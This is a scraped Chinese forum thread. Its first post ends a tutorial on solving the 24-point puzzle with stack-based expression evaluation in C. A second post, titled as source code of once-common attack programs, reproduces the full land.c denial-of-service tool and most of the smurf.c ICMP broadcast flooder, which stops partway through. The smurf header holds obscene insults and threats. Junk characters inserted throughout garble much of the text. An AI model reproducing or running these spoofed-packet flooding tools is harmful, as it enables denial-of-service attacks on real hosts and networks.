5 S. Z; c  c# x0 R; \  首先建立两个栈,操作数栈OVS和运算符栈OPS。其中,操作数栈用来记忆表达式中的操作数,其栈顶指针为topv,初始时为空,即topv=0;运算符栈用来记忆表达式中的运算符,其栈顶指针为topp,初始时,栈中只有一个表达式结束符,即topp=1,且OPS(1)=‘;’。此处的‘;’即表达式结束符。  ]" M5 K' \0 o% n9 D1 z) y
  然后自左至右的扫描待处理的表达式,并假设当前扫描到的符号为W,根据不同的符号W做如下不同的处理:
0 m1 S) w9 ?. `, H# F' C4 y; C1、 若W为操作数: t, p- p4 R0 z
2、 则将W压入操作数栈OVS
/ E2 z* L5 R* l+ F0 t3、 且继续扫描下一个字符
. ~! b$ g/ S' t; g6 D, m4、 若W为运算符
" t  R+ ^; F2 e) s+ |5、 则根据运算符的性质做相应的处理:: w' f  I2 x% {1 _
(1)、若运算符为左括号或者运算符的优先级大于运算符栈栈顶的运算符(即OPS(top)),则将运算符W压入运算符栈OPS,并继续扫描下一个字符。# v1 f: ?' |; k& q
(2)、若运算符W为表达式结束符‘;’且运算符栈栈顶的运算符也为表达式结束符(即OPS(topp)=’;’),则处理过程结束,此时,操作数栈栈顶元素(即OVS(topv))即为表达式的值。
3 m/ O" b- [) ^(3)、若运算符W为右括号且运算符栈栈顶的运算符为左括号(即OPS(topp)=’(‘),则将左括号从运算符栈谈出,且继续扫描下一个符号。1 G: T6 t' J- E( B5 d- b9 x4 j
(4)、若运算符的右不大于运算符栈栈顶的运算符(即OPS(topp)),则从操作数栈OVS中弹出两个操作数,设先后弹出的操作数为a、b,再从运算符栈OPS中弹出一个运算符,设为+,然后作运算a+b,并将运算结果压入操作数栈OVS。本次的运算符下次将重新考虑。
* M8 A" u' L5 ^
+ c; t: Q; S4 f<FONT color=#ff0000>  第二种方法——</FONT>
3 S9 @% m" t$ B! [' O3 v# \  首先对表达式进行线性化,然后将线性表达式转换成机器指令序列以便进行求值。
+ j% s( e& n) }5 Y: s! w2 [3 d$ Y  o
  那么什么是表达式的线性化呢?人们所习惯的表达式的表达方法称为中缀表示。中缀表示的特点是运算符位于运算对象的中间。但这种表示方式,有时必须借助括号才能将运算顺序表达清楚,而且处理也比较复杂。3 `, C2 R2 {8 K# C3 ?/ ?- Z1 E

& d6 Z6 f) u, K8 v   1929年,波兰逻辑学家Lukasiewicz提出一种不用括号的逻辑符号体系,后来人们称之为波兰表示法(Polish notation)。波兰表达式的特点是运算符位于运算对象的后面,因此称为后缀表示。在对波兰表达式进行运算,严格按照自左至右的顺序进行。下面给出一些表达式及其相应的波兰表达式。
; U4 [( {6 z% z5 \" v' Y8 F: a表达式 波兰表达式4 |3 O& z& W( D+ t+ s
A-B AB-1 `/ \8 N# ^5 d" K4 B. U
(A-B)*C+D AB-C*D+
2 P- v  i5 i- ?1 LA*(B+C/D)-E*F ABCD/+*EF*-/ x7 Y6 ~# P0 Q9 x  H
(B+C)/(A-D) BC+AD-/. p! d/ L: W1 w+ I# w

3 v; c2 S" r7 p7 \* S  OK,所谓表达式的线性化是指将中缀表达的表达式转化为波兰表达式。对于每一个表达式,利用栈可以把表达式变换成波兰表达式,也可以利用栈来计算波兰表达式的值。
% _4 G8 Q# b5 `) @4 q/ m, z# l" U8 J& w( `3 e+ a. Z( P: ]
  至于转换和计算的过程和第一种方法大同小异,这里就不再赘述了。; x9 b" U+ W) d4 C; N1 k8 _+ t& v- i
! f- Z; P5 U% m' j7 ]# ?2 H
  下面给出转换和计算的具体实现程序——# L, _4 z* n, _8 v+ d% C8 i6 H
2 K" N) u2 s, j2 C+ P6 Q
<FONT color=#009900>/* first函数给出各个运算符的优先级,其中=为表达式结束符 */: L! Z" p/ `' {3 c7 B& ]* W4 y- c
int first(char c)
1 ^2 \* p7 m0 R3 A" y- Y{ int p;9 X" r1 Z  S7 I. R$ G$ o- c
switch(c)' D4 W5 s0 \% Y4 R
{ case '*': p=2; break;& x) S& j6 X! r" ?
case '/': p=2; break;
. e% C! ~/ ~1 E( \case '+': p=1; break;' e( ~3 y2 `9 E1 J3 ~; g$ D
case '-': p=1; break;
/ K) ~' Q+ h' vcase '(': p=0; break;
8 |) g) e! ~; Ecase '=': p=-1; break;
" G) Y0 b+ J* \7 P}9 T; Q$ n4 l* r! R9 s
return(p);4 Q+ r( p3 ^- L5 F0 k7 `/ y
}
: k6 U: w' G0 ]1 m( c/ q/* 此函数实现中缀到后缀的转换 */
6 X8 V' t* c' T( T% S; q/* M的值宏定义为20 */
+ V4 q1 y, V* o% p( Q/* sp[]为表达式数组 */  j, y5 _; c% m
int mid_last(), Y* m( V4 T! r# `$ ~& e
{ int i=0,j=0; char c,sm[M];
4 K" y" O& m6 B5 |7 ~c=s[0]; sm[0]='='; top=0;
4 W6 y! ?* o  m$ Owhile(c!='\0')! f$ q8 H, r6 P
{ if(islower(c)) sp[j++]=c;
. I) {2 Y. A. }$ s0 nelse switch(c)# h, h/ \6 @$ v2 P6 a+ ^) |: D( ?
{ case '+':
3 u) d7 A8 C$ M6 xcase '-':! R& U' E( s; j7 F# V! ~1 U
case '*':, o; |, D- f( L& A7 T( t
case '/': while(first(c)&lt;=first(sm[top]))- _. |$ V9 _7 p- Q
sp[j++]=sm[top--];7 L  e! w0 p9 z  I& m
sm[++top]=c; break;
( ]# K- C- n, g, [case '(': sm[++top]=c; break;
% Y  J3 C' L+ S; r- j( |case ')': while(sm[top]!='(')
$ D$ {7 o' {" |/ dsp[j++]=sm[top--];6 E5 x& C- K& b6 K
top--; break;
! A3 ?8 r% B2 @default :return(1);
; C: i  J& E6 w}3 N& p# s- A+ h$ t
c=s[++i];
& |' T" r3 M* }% D( w}
4 v% e7 f7 w- P: ]: W5 u1 fwhile(top&gt;0) sp[j++]=sm[top--];
( o9 Q6 p$ [: d8 a& zsp[j]='\0'; return(0);
3 s' q  k/ V, o# X" g" k& V}
- ?4 Y6 O( E- S) L( @4 f/* 由后缀表达式来计算表达式的值 */
) H& ~# J: W. ~1 V& R  h/ I# `int calc(): {9 W9 E) _& L$ U" ?- w8 N& W4 Y* \
{ int i=0,sm[M],tr; char c;( l( n- E' |( u9 M4 Y: k
c=sp[0]; top=-1;4 @! _, ]1 j  j- [- a
while(c!='\0')7 I' E2 g: r* j$ j  @8 B
{ if(islower(c)) sm[++top]=ver[c-'a'];/*在转换过程中用abcd等来代替数,
4 \" K4 D0 M1 U( V5 a这样才可以更方便的处理非一位数,
& ~9 W; R, O5 S0 K- G. ]ver数组中存放着这些字母所代替的数*/
( W/ D' e3 d# K" t( A) T6 O, v( a! uelse switch(c)
! }8 U0 w6 X2 v$ w0 w  p{ case '+': tr=sm[top--]; sm[top]+=tr; break;& J5 o8 \- i, ?8 F* U- P, J; }
case '-': tr=sm[top--]; sm[top]-=tr; break;
3 r- ]6 K' n3 g; g: g4 rcase '*': tr=sm[top--]; sm[top]*=tr; break;8 ~% j: O. @  A# k; T2 n
case '/': tr=sm[top--];sm[top]/=tr;break;
! b/ `" T- x; `default : return(1);
, ^1 q! i- S, i( B}
. h4 G5 k9 ~, D/ u8 ]! e+ Mc=sp[++i];1 l, \) z7 H$ m
}
% B# |$ \& w7 U- y& {& P$ Cif(top&gt;0) return(1);
# K. o: j/ C9 P1 s+ S! k0 ^3 Helse { result=sm[top]; return(0); }+ ]9 ~5 }6 R6 T# z: z/ G
}4 f8 R0 _0 K/ k7 ]8 M0 ]' k
</FONT>
  q) k; Y0 V7 `. h* W5 T  这样这个程序基本上就算解决了,回过头来拿这个程序来算一算文章开始的那个问题。哈哈,算出来了,原来如此简单——(6-3)*10-6=24。, z9 s/ t8 i! ^# X: T

4 k8 Q& g7 j) C5 M7 \) e& h& A$ v  最后我总结了一下这其中容易出错的地方——$ |. @* x# [' z) B! t1 s5 W: E) j
4 X2 ?% Z/ o( |$ {4 G7 f
  1、 排列的时候由于一个数只能出现一次, 所以必然有一个判断语句。但是用什么来判断,用大小显然不行,因为有可能这四个数中有两个或者以上的数是相同的。我的方法是给每一个数设置一个代号,在排列结束时,通过这个代号找到这个数。" u. T% w( |9 e% [- X5 n

8 W- t; S7 q7 x7 j. s  k  2、在应用嵌套函数时,需仔细分析程序的执行过程,并对个别变量进行适当的调整(如j的值),程序才能正确的执行。
6 E( q2 K6 D9 x9 z/ E7 L) X( F
  I8 U) U( X9 H3 o! H# B  3、在分析括号问题的时候要认真仔细,不要错过任何一个可能的机会,也要尽量使程序变得简单一些。不过我的分析可能也有问题,还请高手指点。 $ _5 c; S2 [( Q0 ^9 o4 L

: Q1 E3 Q" \+ |* x+ {  4、在用函数对一个数组进行处理的时候,一定要注意如果这个数组还需要再应用,就必须将它先保存起来,否则会出错,而且是很严重的错误。0 q6 l' s. E& T8 s/ C
- F1 m+ R) P8 r0 W/ p: L* z4 Z* n
  5、在处理用户输入的表达式时,由于一个十位数或者更高位数是被分解成各位数存放在数组中,所以需对它们进行处理,将它们转化成实际的整型变量。另外,在转化过程中,用一个字母来代替这个数,并将这个数存在一个数组中,且它在数组中的位置和代替它的这个字母有一定的联系,这样才能取回这个数。3 N: o  k, m( _% S

$ v3 ~4 M% v" f  6、由于在穷举过程难免会出现计算过程中有除以0的计算,所以我们必须对calc函数种对于除的运算加以处理,否则程序会因为出错而退出(Divide by 0)。
$ D0 M6 k0 J6 m1 T, v1 s1 `2 z% w' w, N
  7、最后一个问题,本程序尚未解决。对于一些比较著名的题目,本程序无法解答。比如说5、5、5、1或者8、8、3、3。这是由于这些题目在计算的过程用到了小数,而本程序并没有考虑到小数。
6 d9 [) o7 R% A* x</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>以前常用的攻击软件源代码</FONT></B></FONT> </DIV><>常用攻击程序</P><>Abstract
8 U" s+ u- L& S9 [3 n0 x( U这里有一些是老的,现在看来并没有用,但他们都很有名。</P><>1 Land</P><>攻击一台Win95的机器。这是Win95的一个漏洞,以其IP地址和端口向自
! F9 m( R. a* |& |4 f9 _. T  w" K己的同一个端口发起连接(发SYN),Win95即会崩溃。</P><>
/ r" o' V- K" A* c: W& b# X<FONT color=#009900>/* land.c by m3lt, FLC3 Z2 V$ y* j" E. H' [7 @
crashes a win95 box */</FONT></P><><FONT color=#009900>#include <STDIO.H>
& `7 x5 f# J% X% O( s1 k#include <NETDB.H>2 X' n# H- O' b; H2 E) G; x
#include <ARPA inet.h>$ C: h/ R6 k" q2 d( H) z
#include <NETINET in.h>$ {  n+ F# q) d! j$ N: m0 w$ M
#include <SYS types.h>9 Y9 G6 X4 f; o
#include <SYS socket.h>4 [4 S% `' f3 v, h  z7 e
#include <NETINET ip.h>
5 S) A3 Q  j2 _; H* n/ I0 c#include <NETINET tcp.h></FONT></P><><FONT color=#009900>//用于TCP校验和的伪头
6 i1 @7 S& @* Y1 [9 f% y1 cstruct pseudohdr! T8 N  ?3 z1 v) B6 f. t- U
{
* }  q" a; D9 B- [$ D6 P0 U, Ustruct in_addr saddr;6 K7 }7 |/ e9 {% h( \8 V! G7 e/ H
struct in_addr daddr;2 j, C! v1 Y) n! d4 p0 j
u_char zero;
! p& M+ w- Y0 {9 G4 E( Ju_char protocol;7 F- c& G) I/ T( c" [9 H
u_short length;( K1 `% |9 w/ w" x
struct tcphdr tcpheader;
- A) ?& ~' P* e};</FONT></P><><FONT color=#009900>//计算IP校验和7 `7 \! [6 [' g( d6 ?. A$ t0 `4 y
u_short checksum(u_short * data,u_short length)  h' l: h% p$ b# U& O
{; J, @0 i8 D: z6 T# R0 u
register long value;/ k" Z# M& g3 L+ v9 H6 C5 A
u_short i;</FONT></P><><FONT color=#009900>for(i=0;i&lt;(length&gt;&gt;1);i++)' O' f5 l# R) x; _: y4 n$ W4 m
value+=data;</FONT></P><><FONT color=#009900>if((length&amp;1)==1), I- i4 m/ N0 S2 J
value+=(data&lt;&lt;8);</FONT></P><><FONT color=#009900>value=(value&amp;65535)+(value&gt;&gt;16);</FONT></P><><FONT color=#009900>return(~value);. N* y- G: b7 Z" j. C! C
}</FONT></P><><FONT color=#009900>
& M/ O$ J( m0 H$ g8 bint main(int argc,char * * argv)
! ]- G1 W- i$ K, d8 C7 k{
" ^; m. p$ L# Vstruct sockaddr_in sin;
7 E7 O5 K* T0 g) {  o) kstruct hostent * hoste;. Z) W. X& ]. g. o
int sock;
% Z" [: W( b+ M: hchar buffer[40];
2 G! L9 h. f  e2 s# i  pstruct iphdr * ipheader=(struct iphdr *) buffer;! ]% ~. r9 |1 ~/ Z/ e; `8 D9 L
struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr));
( Z5 {2 t0 F, }1 m* k$ x+ m$ ^0 lstruct pseudohdr pseudoheader;</FONT></P><><FONT color=#009900>fprintf(stderr,"land.c by m3lt, FLC\n");</FONT></P><><FONT color=#009900>if(argc&lt;3); U' N5 {7 }% @+ d& a2 u. v
{
% M; g) \' ?* n0 b/ tfprintf(stderr,"usage: %s IP port\n",argv[0]);
4 q5 O) U8 X1 N5 p1 p5 n4 s! vreturn(-1);
7 m, w! n3 _7 z  `1 D) a& k/ n}</FONT></P><><FONT color=#009900>bzero(&amp;sin,sizeof(struct sockaddr_in));
" c" c- a) C8 C. C6 U# x' S& xsin.sin_family=AF_INET;</FONT></P><><FONT color=#009900>if((hoste=gethostbyname(argv[1]))!=NULL)7 D7 i  `, c, i) }9 H5 z4 }. B  a. @1 s
bcopy(hoste-&gt;h_addr,&amp;sin.sin_addr,hoste-&gt;h_length);
2 P* w8 |* f4 i/ |% B' i' W, F2 Oelse if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)
6 k2 _, [7 z3 z+ ?2 j; q: C# B+ @{% [* D+ W# o2 d8 h7 T5 j* w
fprintf(stderr,"unknown host %s\n",argv[1]);
+ w" w2 g% e: ?& r5 Breturn(-1);; T% b. ~! B% E" X( s: u' A
}</FONT></P><><FONT color=#009900>if((sin.sin_port=htons(atoi(argv[2])))==0)/ V, g: z# z) J4 ~5 x6 M
{- Y6 x; H& J$ M1 g* |8 w/ z
fprintf(stderr,"unknown port %s\n",argv[2]);0 g: I+ [* K; @( F+ m
return(-1);8 `/ `/ ^& K  n- V) Q& \( ~
}</FONT></P><><FONT color=#009900>//new一个SOCK—RAW以发伪造IP包 这需要root权限+ _0 A- s7 e  u6 o1 U' n  F
if((sock=socket(AF_INET,SOCK_RAW,255))==-1)
* g: C$ b* O1 w- W{6 C. ^! H" V" w8 A+ \; r
fprintf(stderr,"couldn't allocate raw socket\n");
) S, |, R, Y9 b8 S6 }" q5 Wreturn(-1);
6 w/ v% o; I( D}</FONT></P><><FONT color=#009900>bzero(&amp;buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));
* }! i8 q0 L3 vipheader-&gt;version=4;
* P0 o- o/ P. C$ A8 K: Tipheader-&gt;ihl=sizeof(struct iphdr)/4;. t" Y- C" U: f
ipheader-&gt;tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));. [6 o- ?; W1 j* G% A8 L
ipheader-&gt;id=htons(0xF1C);
, q+ N( @% ]5 |/ nipheader-&gt;ttl=255;. T2 Q* [/ d! B+ f
ipheader-&gt;protocol=IP_TCP;</FONT></P><><FONT color=#009900>//目的IP地址和源IP地址相同
0 f' Q% ~' c; H* uipheader-&gt;saddr=sin.sin_addr.s_addr;' [) k1 R" L8 v& P4 ~0 j
ipheader-&gt;daddr=sin.sin_addr.s_addr;</FONT></P><><FONT color=#009900>//目的TCP端口和源TCPIP端口相同0 P. w( \" z8 P$ D. t
tcpheader-&gt;th_sport=sin.sin_port;
1 C+ c8 K6 J2 |+ itcpheader-&gt;th_dport=sin.sin_port;
# R7 c5 a9 |$ ]. Z5 V3 [2 C( Atcpheader-&gt;th_seq=htonl(0xF1C);- W& l4 O) C: T6 e
tcpheader-&gt;th_flags=TH_SYN;
' z4 z2 }* Z  z; {2 g$ l. W5 [( ttcpheader-&gt;th_off=sizeof(struct tcphdr)/4;1 P" `! [. W! }
tcpheader-&gt;th_win=htons(2048);</FONT></P><><FONT color=#009900>bzero(&amp;pseudoheader,12+sizeof(struct tcphdr));9 d8 H6 y: F9 \( E4 {0 d4 Z1 ]
pseudoheader.saddr.s_addr=sin.sin_addr.s_addr;
: y) }; s: q( f, qpseudoheader.daddr.s_addr=sin.sin_addr.s_addr;9 Z- u* `2 H1 w  [3 `
pseudoheader.protocol=6;
5 m$ Y! `3 C. X4 l; \pseudoheader.length=htons(sizeof(struct tcphdr));
! H" j$ T  W7 f1 Jbcopy((char *) tcpheader,(char *) &amp;pseudoheader.tcpheader,sizeof(struct tcphdr));) ?  r; B; [# q- d8 |, r
tcpheader-&gt;th_sum=checksum((u_short *) &amp;pseudoheader,12+sizeof(struct tcphdr));</FONT></P><><FONT color=#009900>if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),& K4 L4 w; z* L2 W% x9 E/ k$ L
0,(struct sockaddr *) &amp;sin,sizeof(struct sockaddr_in))==-1)7 Y  `, e( D" ]# D
{  P8 B$ s5 V. }& g
fprintf(stderr,"couldn't send packet\n");
7 O6 b# k5 |; Y5 W& D/ D. b2 Breturn(-1);
/ v  m, y  d9 L/ H1 D. a}</FONT></P><><FONT color=#009900>fprintf(stderr,"%s:%s landed\n",argv[1],argv[2]);</FONT></P><><FONT color=#009900>close(sock);
  x% F( x5 p" q8 X: |, K6 Freturn(0);  h; F; x, X; I) T9 ^- _, U& M# B, [
}</FONT></P><>
. P$ S1 w+ a8 ~1 Y( r2 ^) \9 e2 Smurf9 z  s$ ~* o. n( m. w$ z6 [  B
smurf攻击是很简单的,它有一些IP(广播地址)地址列表,发出了一些伪造的数* i/ E" l( [( n: ?0 d
据包(ICMP echo request)从而导致一场广播风暴,可以使受害主机(使它成为伪造包- r$ g3 ]% m( ?3 m1 l
的源地址)崩溃。</P><>受害者有两种:中间的设备(bounce sites 交换机或路由器)和被伪装的IP(那些1 f. V" n: _8 A# ]. a* M% @7 R( V
icmp echo的包都被发给它)。这种攻击依赖于路由器把一个广播地址转化为一广播桢
) V2 z4 Y# O9 s7 T: }(如Ethernet, FF:FF:FF:FF:FF:FF),RFC中允许这种转换,但在今天看来是不需要的。</P><>可以使你router停止转换第三层的广播(IP)到第二层的广播(Ethernet)。</P><>但是Smb服务器或NT需要远程广播使LAN知道它的存在,但在路由器的上述配置会使这变" U- v6 C) Y+ V
成不可能(没有WINS服务器时)。</P><P>/*
' v9 t8 H# h$ I0 m) q& t3 p*
4 z# M! p7 K3 n& w* $Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $
2 v8 v  W. e: }5 Y& @0 u*
) d9 I+ g$ c1 N* spoofs icmp packets from a host to various broadcast addresses resulting
. B8 _6 W/ a" \. i( ~( l+ m* in multiple replies to that host from a single packet.3 i# C: w& g9 a
*
1 t$ G0 `  }) Y) F2 l/ Y* mad head t6 y  a# L) c/ C7 [8 X: f  Y$ q
* nyt, soldier, autopsy, legendnet, #c0de, irq for being my guinea pig,/ c2 n1 k' L/ X6 T
* MissSatan for swallowing, napster for pimping my sister, the guy that* g" w  J- `+ Z/ Q4 {
* invented vaseline, fyber for trying, knowy, old school #havok, kain. W+ x( [3 A( i7 C8 E$ n) \, c
* cos he rox my sox, zuez, toxik, robocod, and everyone else that i might5 U2 m6 ^( l  d, Y/ H
* have missed (you know who you are).- S% P6 [/ y- q5 \, ]: y1 ^- M
*
' ?: ?6 |# ?& i1 o2 h3 Z* hi to pbug, majikal, white_dragon and chris@unix.org for being the sexy
, U  B+ o5 V0 N# R* thing he is (he's -almost- as stubborn as me, still i managed to pick up
  `* m& R8 T1 J* P8 `+ q* half the cheque).
; c3 T. H! p# {* X5 L6 ^4 Q*
, \+ C; J# e& f) I: f* and a special hi to Todd, face it dude, you're fucking awesome.  W+ \4 a0 o0 u
*3 G" v8 ~4 l. V  o" R+ V
* mad anal t* m, M: t0 H$ c& P: ^: e
* #madcrew/#conflict for not cashing in their cluepons, EFnet IRCOps
) [* }$ Z1 F/ m. s6 S4 a1 y* because they plain suck, Rolex for being a twit, everyone that* C# J  x  f7 Z2 `) }! j* O" i
* trades warez, Caren for being a lesbian hoe, AcidKill for being her
2 i' e1 k$ Y9 |2 v* partner, #cha0s, sedriss for having an ego in inverse proportion to
. @* [  |% s. D: X2 S2 w" [7 ]$ o* his penis and anyone that can't pee standing up -- you don't know what
. b' i4 C& ~. a5 ]+ d* C* your missing out on.$ f# G" L" j. r( k4 A' h
*
. E$ F9 w- l/ l+ L# y0 s) v5 @* and anyone thats ripped my code (diff smurf.c axcast.c is rather
' z6 @) ]/ t% g+ I2 D5 h& ?* interesting).
3 V3 N  o# f) n0 k9 \+ w  W* N7 b*
& e' b4 B/ `! g* t+ [) g* and a HUGE TWICE THE SIZE OF SOLDIER'S FUCK TO AMM FUCK YOU to Bill
& R' q. B$ s% j) e$ B8 M* X& u* Robbins for trying to steal my girlfriend. Not only did you show me
( k$ l  T6 L& |+ P* no respect but you're a manipulating prick who tried to take away the& `, m8 i1 J! G% X1 W- l. k
* most important thing in the world to me with no guilt whatsoever, and2 N0 @) Q% O# G$ u  n3 @- u! m6 |
* for that I wish you nothing but pain. Die.
' Z. k4 ]3 J3 ?*
$ i2 o$ w# z6 o: w3 x* disclaimer:
0 u( e* b& ~+ k4 U! j3 f8 M# o" U8 _* I cannot and will not be held responsible nor legally bound for the9 Q3 S: A' y0 d  v- O2 |
* malicious activities of individuals who come into possession of this
# Y$ q$ P7 D; t* a! n+ G: g* program and I refuse to provide help or support of any kind and do NOT
4 f" {! h, X! |7 Z* condone use of this program to deny service to anyone or any machine.
/ s8 G3 b- X" u' r& t6 x0 c: c2 j6 j* This is for educational use only. Please Don't abuse this.) B9 z1 G/ Q$ |4 s3 K
*
" e- @& m; A% t  v$ M* Well, i really, really, hate this code, but yet here I am creating another
8 X% }6 w% M) ?) v2 D* disgusting version of it. Odd, indeed. So why did I write it? Well, I,4 G9 u2 J; l9 J# L$ O: J* R
* like most programmers don't like seeing bugs in their code. I saw a few3 N2 Y& x) S) K* x' P0 Z2 n. K
* things that should have been done better or needed fixing so I fixed' q! x% d7 A$ c9 M1 T6 `  r4 C
* them. -shrug-, programming for me as always seemed to take the pain away9 ?; @) Z  l/ O, M0 A  `6 o! Z
* ...
( |+ c# {8 a) Q' q$ t1 a*
) ~; m8 x: p& l, t*0 v( E2 G5 [2 d  m
*/</P><P>#include <SIGNAL.H>; f9 P6 A& n) ?5 r. I
#include <STDIO.H>
3 v' N6 u$ }# c#include <STDLIB.H>4 M( a0 }; P& G2 {5 T
#include <SYS socket.h>
) @9 @( k5 L: H2 K' `% ]3 R#include <SYS types.h>3 e: D0 X( L2 ]* v: }) `
#include <NETINET in.h>
: ~. J: ]- a6 T; H) `4 I#include <NETINET ip.h>9 U  V- L9 N0 q: d3 V/ z( Y% y! h% B7 K
#include <NETINET ip_icmp.h>
1 k. f9 w( y3 v: f#include <NETDB.H>
$ E" ]7 K! S, u; Z#include <CTYPE.H>
0 C8 l$ h3 e1 S( T9 k  f) R3 j! ^#include <ARPA inet.h>0 e" `/ O) ^# ?+ K
#include <UNISTD.H>; r# h, ]% b5 U
#include <STRING.H></P><P>void banner(void);; G' P5 p& a" |! e1 \0 Z
void usage(char *);/ n& E6 Y, m, U8 D( R0 P$ p1 X
void smurf(int, struct sockaddr_in, u_long, int);# o/ d1 e) Y' F
void ctrlc(int);
- Y+ X7 L0 O  f* m% junsigned short in_chksum(u_short *, int);</P><P>/* stamp *// A3 U1 U, l7 p8 G; I& q
char id[] = "$Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $";</P><P>int main (int argc, char *argv[])' k. @. w& g5 \4 H5 \
{" H, k! F% w; m" c* R6 @9 h
struct sockaddr_in sin;
! Z" _. \& H1 v4 w3 {% d2 Mstruct hostent *he;/ d2 J; M2 d' |$ y4 w
FILE *bcastfile;
  S9 i9 x. N4 ^, o1 a$ zint i, sock, bcast, delay, num, pktsize, cycle = 0, x;" g/ k; S. l$ Q) M2 G
char buf[32], **bcastaddr = malloc(8192);</P><P>banner();, n- V* p1 h  I+ x3 p
signal(SIGINT, ctrlc);</P><P>if (argc &lt; 6) usage(argv[0]);</P><P>if ((he = gethostbyname(argv[1])) == NULL) {
+ `% f8 t1 y0 j- {  eperror("resolving source host");( J0 q* s& u/ k" G) t2 l. K
exit(-1);
- t3 v- M; }% M3 ?}+ c1 T8 {. _; k. `3 \0 k" G
memcpy((caddr_t)&amp;sin.sin_addr, he-&gt;h_addr, he-&gt;h_length);
/ l: ^8 z% v  m& @2 h! R6 |+ w; Ysin.sin_family = AF_INET;
1 Z- E9 d8 G8 \! B4 F% Ssin.sin_port = htons(0);</P><P>num = atoi(argv[3]);$ k* I" R+ m/ E- G# N' a* r) e
delay = atoi(argv[4]);% o; O7 l; G5 x( k% i
pktsize = atoi(argv[5]);</P><P>if ((bcastfile = fopen(argv[2], "r")) == NULL) {
5 k2 z1 ~$ p' Lperror("opening bcast file");
7 l" b5 @( k! ]4 x' o+ gexit(-1);
/ u3 l) ]) d  G0 R+ c7 G; d$ t}
2 M1 z  |6 H8 O" hx = 0;  _8 v* K0 I( V
while (!feof(bcastfile)) {( R1 g+ c  `0 M4 ]$ N* B/ X
fgets(buf, 32, bcastfile);
$ m  c$ t! O; X6 i7 O" a- E9 d- Jif (buf[0] == '#' || buf[0] == '\n' || ! isdigit(buf[0])) continue;
, c8 M$ J0 f8 V/ L8 n! g2 d- Lfor (i = 0; i &lt; strlen(buf); i++)! X! T! z7 F% S$ d$ Z4 W
if (buf == '\n') buf = '\0';
" T  r3 V* U2 f% J& ~bcastaddr[x] = malloc(32);
% e# ?( t  b4 e( k8 C; Sstrcpy(bcastaddr[x], buf);
& f8 Z7 s/ B& Ix++;
% h$ _9 a& ?8 o7 G1 {0 }}, I' Z7 p  G8 Q9 v! ^# K9 ?$ K
bcastaddr[x] = 0x0;5 Z1 f% {) p8 z  X* n$ G4 V# u1 ~* i
fclose(bcastfile);</P><P>if (x == 0) {
$ I, J9 c8 G1 z$ Z8 Xfprintf(stderr, "ERROR: no broadcasts found in file %s\n\n", argv[2]);
$ B2 m* w# n- ], \4 _' H8 |exit(-1);
5 `  s+ Y3 Z/ h; ]9 ]5 T' M, d; T}
4 ~, g  k9 E( R0 vif (pktsize &gt; 1024) {
: n, `6 M# X& p7 @& Wfprintf(stderr, "ERROR: packet size must be &lt; 1024\n\n");
8 r% S4 _' q( }3 G# }' q: V" x' c! Uexit(-1);
/ e* {( N, \. b$ ^- w}</P><P>if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0) {2 o4 u& D9 p' p: G: s; k$ k6 O
perror("getting socket");, y5 E, {1 e# y$ e. u8 o+ {
exit(-1);
, C) A# i& t5 Q# K& g, o2 a}! z# b6 k) P$ G! }1 B$ t* b
setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&amp;bcast, sizeof(bcast));</P><P>printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);</P><P>for (i = 0; i &lt; num || !num; i++) {
6 ^4 e0 b5 E7 a- ]3 |if (!(i % 25)) { printf("."); fflush(stdout); }
8 o% I) d3 j# q# P9 h  x* Hsmurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize);
- @2 T5 b# \+ _4 s9 }cycle++;
4 ]& u7 `, T. A1 nif (bcastaddr[cycle] == 0x0) cycle = 0;9 R( D- L3 @% O, N3 B
usleep(delay);
7 w3 S: V6 d$ S" |$ }}) ~7 d2 R0 o9 U/ u! K4 Q7 A, A
puts("\n\n");
2 y4 T9 L( K! V3 U; w4 l) Nreturn 0;
7 g; N) R9 ^6 N; W}</P><P>void banner (void)* n4 M* q4 f) U- \" p% y" u* _
{
7 N" z' q/ s2 k% [; G" j; [& cputs("\nsmurf.c v4.0 by TFreak\n");
7 |1 Y' z: E; Q5 H! y% r}</P><P>void usage (char *prog)( w9 `* c5 D, p1 @/ }6 S3 }% }; {/ e
{
7 F6 R, \& w( X+ ~4 {/ Hfprintf(stderr, "usage: %s <TARGET><BCAST file>"
, @; A6 @7 L* j" T  p, N"<NUM packets> <PACKET delay><PACKET size>\n\n"
, y9 I1 i* a8 H) _( {"target = address to hit\n"! q" d( Y, k8 D2 q) H: t
"bcast file = file to read broadcast addresses from\n"/ ~# h+ Z& L$ Q5 v' X# h
"num packets = number of packets to send (0 = flood)\n"
# I4 p% v! z1 a4 ~"packet delay = wait between each packet (in ms)\n"
- ^- Q0 b0 W7 R3 ~"packet size = size of packet (&lt; 1024)\n\n", prog);
" V4 G. u: y  b. uexit(-1);4 |+ }' a! t" L$ }7 s
}</P><P>void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize)8 @# ~, M, e7 A2 G$ C
{, w1 ^/ |  n5 Q4 F
struct iphdr *ip;7 ]; g$ k) h! b9 G* j1 o
struct icmphdr *icmp;
& N$ Y+ z& r; i( }7 Pchar *packet;</P><P>packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);- b- v. }5 G  H% J
ip = (struct iphdr *)packet;
# u. m; j7 g2 J6 P- |% ticmp = (struct icmphdr *) (packet + sizeof(struct iphdr));</P><P>memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);</P><P>ip-&gt;tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
$ P6 w( i0 g( N3 D# Cip-&gt;ihl = 5;
/ D" W- O( J( z" B" }3 wip-&gt;version = 4;
- c, s' x2 ^& j) `- x8 g, lip-&gt;ttl = 255;8 J6 E! w4 A2 Q- J+ B
ip-&gt;tos = 0;
